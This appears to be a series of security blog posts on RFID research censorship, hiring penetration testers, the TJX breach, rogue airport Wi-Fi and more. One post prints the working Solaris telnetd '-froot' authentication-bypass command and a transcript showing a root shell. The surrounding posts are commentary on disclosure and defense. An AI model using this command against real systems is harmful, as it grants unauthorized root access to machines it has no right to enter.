RFID security device manufacturer HID is using threats of patent infringement to stifle a Black Hat Federal presentation by Chris Paget on the threat of RFID card cloning. The risks of RFID card cloning are real and are nothing new. The details of the technology has been publicly available for years. What is new is the visceral demonstration that a device can provide. HID is scared that people will stop purchasing their technology once it is widely known that it is not secure. This shows the power of security researchers to get the word out where more academic presentations and low profile websites have failed.

What is new in this saga is HID is using the threat of patent infringement to prevent people from demonstrating that the technology is insecure. Chris Paget isn’t building RFID devices and selling them which would deprive HID revenue. He is alerting the public to security and safety risks of relying on this product. If there is a better example of a fair use critique I would like to hear it.

Update: IOActive, where Chris Paget works, has withdrawn their presentation:

HID Global Corporation learned of our intended briefing, contacted IOActive, and demanded that IOActive refrain from presenting our findings at the BlackHat Convention, on the basis that “such presentation will subject you to further liability for infringement of HID’s intellectual property.” In HID’s view, our proposed presentation on proximity badge technology potentially infringed their patents (U.S. Pat. Nos. 5,041,826 and 5,166,676).

As a consequence, under advice of counsel, IOActive has withdrawn its presentation at the BlackHat Briefings, in order to address the demands of HID Global Corporation, and to protect IOActive’s researchers from adverse action.

Update 2: The ACLU of Northern California is going to be speaking in Chris’ place

Criticism of technologies is an important tool to strengthen security. Ensuring that computer researchers have the freedom to engage in scientific expression makes us stronger.

This is not the first time that computer professionals have been threatened with lawsuits. You may remember the case a few years ago when the Recording Industry Association of America threatened to sue Princeton Computer Science Professor, Ed Felten, for violation of the Digital Millennium Copyright Act if he presented an academic paper on vulnerabilities of music anti-piracy software.

But, discouraging IOActive from discussing that the information on radio frequency identification (RFID) tags can be easily read and copied, may have the most grave consequences.

An article was forwarded to me today, entitled Avoid Wasting Money on Penetration Testing. While the core message is on target (i.e. be sure you know what you are getting before you sign on the dotted line), the suggestions for how to achieve this are misleading. Let’s examine the “5 steps to choosing a supplier” outlined in the article:

Ask if their consultants have passed an independent penetration testing assessment. There are some services that will independently test a consultant and rate their strengths and weaknesses in great detail.

You are going to weed out a lot of top-notch pen testers if you create a gating factor based on some arbitrary certification. For one thing, the industry hasn’t really reached consensus (or even close) on a meaningful pen testing certification. More importantly, it’s usually large companies that encourage their consultants to pile up certifications like they’re going out of style. This overemphasis on certifications is one of many reasons why the strongest pen testers typically gravitate toward security boutiques, which tend to place value on individual skillsets over industry certifications. Not to say that you won’t find an expert pen tester in the Big 4 or a large security firm — you certainly can, but they are just more scarce. It’s very difficult to set the bar that high and still scale fast enough to keep up with the pipeline of a large consultancy. Bottom line, if you insist on a certification, you’ll probably eliminate your best options right out of the gate.

Always meet the consultants doing the proposed assessment and satisfy yourself about their competence. Ensure that only the consultants interviewed are the one’s [sic] carrying out the assessments. It’s easy to wheel in a star consultant to win the business, but follow through with a trainee.

I don’t know if the author meant that you should literally meet the consultants or whether a phone interview would suffice. I’ll assume he meant the latter. On the surface, it’s hard to find fault with this recommendation, but remember, you’re dealing with consultants. Consultants by nature are used to sounding knowledgeable about topics they don’t know very well. This will weed out some people but not others. Here’s a perfect example — trainers. These guys are incredibly polished when it comes to discussing attack vectors and their associated impacts, root causes, and remediation. They’ve delivered Application Security 101 twice a week for months on end, and they have their favorite case studies and analogies to illustrate each type of vulnerability in layman’s terms. But they are usually not pen testers. 95% of them have never delivered a pen test in their life. One of these guys will impress the hell out of you on the phone but when it comes to sitting down at the keyboard and doing the pen test, they don’t have the experience. I know, a trainer wouldn’t be on the scoping call to begin with, but the point I’m trying to make here is that people can talk convincingly about pen testing without actually having the expertise to do it.

Ask to speak with reference sites, and actually follow through. Make sure the work carried out for those customers resembles your own.

Hard to go wrong by gathering references. However, the consultancy usually has certain pre-determined reference accounts to refer you to. It may not always be possible to get references for the specific consultants staffed on your pen test.

Ask questions about their methodology to discover if it is an active programme, or just marketing.

This is really just a variation on the second tip. It still boils down to the fact that being able to discuss the methodology intelligently doesn’t imply expertise. It’s nice to have a methodology, but having one doesn’t necessarily mean that the consultants will follow it to a tee, as the author points out. Also, if you aren’t a security expert yourself, how do you know whether or not the methodology is comprehensive? What does “comprehensive” really mean in the context of a black-box penetration test? Does the methodology take a checklist-style approach which is likely to consume the entire testing period, or does it build in time for veering off on tangents, where the most interesting and complex vulnerabilities are usually discovered.

Finally, remember that companies don’t perform penetration tests, people do. So no matter which company you go to, it always boils down to the person you have working on your account. Make sure you always have the best people for the job in place, and remember that the best person for one job, may not be the best for another. Understanding the strengths and weak-nesses [sic] of your team is a fundamental part of good management. Extending this principal [sic] to your suppliers is just as valuable.

Now that is a solid observation, one that I think is too often overlooked. It’s easy to be swayed by the size and longevity of the company and forget that you should be picking the right one for the job. Remember, the bigger the consulting organization gets, the more likely the consultants will be generalists as opposed to specialists. Generalists are undeniably a better choice for certain jobs because of the additional perspective they bring to the table, but you don’t want them delivering your pen test.

Here are some additional things I would want to find out when picking a prospective vendor:

• How specialized is the consultant? Do they deliver this particular service 20% of the time? 50%? 100%? You want to lean on the side of specialization. Trust me, there’s a good reason they keep getting staffed on those projects.
• How strictly do they adhere to the methodology? You want a good balance that establishes a “baseline” level of coverage but allows sufficient time for the consultant to try more creative attacks and follow the path of least resistance.
• What tools does the consultant use? People who rattle off a laundry list of various tools may be overly reliant on that toolset and often lack the expertise to “roll their own” tools during the course of the testing.
• Under what circumstances would they advise a customer to bear the risk of a vulnerability? If they can’t give a good example of this, you might be dealing with someone who views security in a vacuum and doesn’t consider other business factors when framing recommendations.

Finally, word-of-mouth references are extremely valuable, and I don’t mean the references supplied by the vendor. Talk to colleagues at other companies who have contracted similar work, and find out what they did and didn’t like about the consultants they used? Did they feel that the technical assessment used a cookie-cutter approach, or was it customized to focus on attack vectors unique to the application? How was the communication during the project — were there any surprises at the end, or did the delivery team keep the customer continuously informed on the findings? Don’t forget the most obvious litmus test: would they hire this team again?

Watchfire just released a whitepaper on Overtaking Google Desktop which is a thought-provoking read. It essentially exploits the mechanism by which Google Desktop hooks the browser in order to inject links to the local Google Desktop instance when the user performs a typical online Google search. There are a couple of gating factors to making this attack viable — the initial attack vector requires an exploitable XSS vulnerability in google.com, and the victim must have Google Desktop’s browser integration feature enabled. An added twist is that a successful attack essentially gets cached by Google Desktop (since it is based on an advanced search preference) and could persist indefinitely. Really nice work by the Watchfire research team.

More important than the vulnerability itself is the fact that this further blurs the boundaries between web-based and desktop-based attacks. What other pieces of desktop software might potentially be manipulating browser content to provide some level of seamless browser integration? Any standalone application that wants to introduce functionality that integrates with their website (or others) could fall into this category — RSS readers, news readers, BitTorrent clients, instant messaging applications, etc. Local HTTP servers in desktop applications are not too uncommon and will become more prevalent as the web browser becomes the primary user interface for everyday tasks.

Should web browsers really permit arbitrary desktop applications to manipulate the content of pages, without explicit permission from the user? Providing a way to disable this behavior would be one step toward re-establishing boundaries in the interest of security.

TJX issued a press release yesterday coming clean on what they know about the breach of their corporate network. They are now admitting that they have been compromised as early as July 2005 and continued to be compromised up until December 2006. It is unlikely only one attacker found the vulnerabilities exploited. I wouldn’t be surprized if dozens of attackers found their way into the network during that time.

One of the pieces of data stolen was driver license numbers given by customers when returning merchandise to “T.J. Maxx, Marshalls, and HomeGoods stores in the U.S. and Puerto Rico for the last four months of 2003 and May and June 2004.” Drivers license numbers in many states are the same as social security numbers. Along with names and addresses this is the “keys to the kingdom” for identity theft. My state, Massachusetts, offers an alternative license number. When you renew your license they ask you whether or not you want an “S number” or to keep your “old number”. I don’t know why anyone would want to keep their social security number.

Giving up such sensitive personal information just to return merchandise has always made me a bit nervous. Now I dont feel paranoid. If you give up information in the current corporate information security climate, it has a high likelihood of being stolen. Presenting a drivers license number to return merchandise only benefits the merchant. It protects them by being able to track the people who abuse the store’s return policy. It is likely that the merchant is going to hold on to this information for a long time. In such a one sided transaction of sensitive information the merchant has a duty to be a trusted custodian of this data and go above and beyond the PCI data standards. Yet, this storage of personal info is completely outside of PCI and is unregulated.

Consumers have to start to demand protections for personal data handed over to merchants when there is no benefit to them. If there are no assurances of protection they should refuse. I was asked yesterday for my social security number in order to file a claim for a broken window on my car. I asked why the number was needed and the woman on the phone couldn’t give me an answer. I said I was uncomfortable giving over my social security number when it wasn’t required and there was no reason other than the insurance company’s convenience. She then said they would send a form in the mail asking for it. I am not planning on filling it in until I get some better answers.

An annoyingly stupid vulnerability in the stock Solaris 10/11 telnet daemon, courtesy of Full Disclosure (more details in this PDF, but it’s NSFW): Pass “-f[user]” as the “-l” option to telnet, and presto, you bypass the entire authentication process and are logged in as the user of your choice! Works for the root user too, as long as the server is configured to allow remote root logins.

ceng@localhost [~]$ telnet a.b.c.d -l "-froot"
Trying a.b.c.d...
Connected to a.b.c.d.
Escape character is '^]'.
Last login: Thu Feb  1 02:28:29 from w.x.y.z
JESv4 Message of The Day (MOTD)

Welcome to the Sun Java Enterprise System 2005Q4!

[a.b.c.d ~]#id
uid=0(root) gid=0(root)
[a.b.c.d ~]#uname -a
SunOS a.b.c.d 5.10 Generic_118844-26 i86pc i386 i86pc

Amazing, isn’t it? This works because in.telnetd exec’s the Solaris login program to perform authentication. It passes the user-supplied “-l” option as a command line argument to login, which in turn supports an “-f” option that bypasses the authentication process if login was invoked by the root user. Since in.telnet.d is running as root, login inherits these privileges and happily carries out the request to bypass authentication.

This is fun to laugh at and all, but it falls into that scary category of “trivially exploitable” vulnerabilities — those that are so easy to exploit that you don’t even need special tools, not even a shell script (though the original advisory for this bug jokingly includes a script, marked “CLASSIFIED CONFIDENTIAL SOURCE MATERIAL” — cute).

Trivially exploitable vulnerabilities have caused a lot of trouble in the past, as everyone with a shell prompt would test it out to see if it worked (admit it, you probably tried to telnet to your nearest Solaris 10 box before you read this far). Think back to the mid-90s and the infamous Ping of Death, in which an overly long ICMP payload would DoS most TCP/IP stacks, thanks to the Windows ping command permitting payload sizes longer than it should.

Ironically, Sun released an advisory just a couple weeks ago for an issue whereby a single ICMP packet causes a kernel panic and Denial of Service on a Solaris 10 box. No details on packet construction, but they do provide a stack trace which should aid in tracking down the bug, if one were so inclined.

If you really want to flip back in the history books, look up the WIZ command in sendmail, which was one of several vulnerabilities the famous Morris Worm used to propagate. Elegant attack — just type WIZ and you’d get a shell. How far we’ve come in 19 years!

What’s the best (read: funniest) “trivially exploitable” vulnerability that you’ve encountered over the years? Leave a comment.

Like many of the people who will eventually read this, I’m packing my bags and heading to San Francisco tonight for the RSA Conference. For those of you also attending, please stop by our booth (#2612) and say hello. We’ll be giving demos of our service platform and discussing how our software-as-a-service delivery model will help solve application security problems that tool-based approaches can’t begin to address.

If you have a full conference pass, be sure to catch Chris Wysopal’s panel discussion, “Vulnerability Reporting and Full Disclosure: The Naked Truth”, on Wednesday at 10:30 AM in Burgundy Room 131.

Looking forward to meeting many of you this week!

A few weeks ago I was waiting for a flight in the JetBlue terminal of JFK. JetBlue offers free Wi-Fi to its customers, which is a nice touch. I powered up my laptop and this is what I saw:

If I’m your typical non-security-minded traveler, which of these networks am I most likely to connect to? I would guess that the majority of people will select one of the two with Jet Blue in the SSID, or maybe the one called Free Public Wi-Fi. Interestingly enough, the real JetBlue SSID is the one called default. Notice that it’s the only one identified as a wireless network (infrastructure mode) as opposed to a computer-to-computer network (ad-hoc mode). The others are almost certainly would-be attackers attempting to lure unsuspecting travelers. If you’re not paying attention, you could fall victim to a phishing attack or even a man-in-the-middle, since most people tend to ignore warnings about invalid SSL certificates when browsing the web. Good way to pick up some malware in your spare time!

I didn’t bother connecting to any of these rogue networks to see what was behind them. A more sophisticated attacker wouldn’t be so obvious. First, they’d be running their card in infrastructure mode so they’d appear to be an access point rather than an ad-hoc network. They’d also be using the same SSID as the genuine JetBlue network, although in this case some of the fake SSIDs might be more effective than a true “evil twin” attack.

This isn’t a new problem by any means, just something I found amusing in my sleep-deprived state. I’ve been in a lot of airports that offered Wi-Fi, but usually it’s for a fee so most people don’t bother. This is the first time I’ve seen that many obviously rogue networks at a single time. It all boils down to consumer awareness — and possibly the need for JetBlue to improve its Wi-Fi deployment process beyond “buy a wireless access point and plug it in.”

Your best bet for avoiding rogue wi-fi networks in situations like this? Bring your cell phone, hook it up to your laptop, and connect to the Internet via GPRS.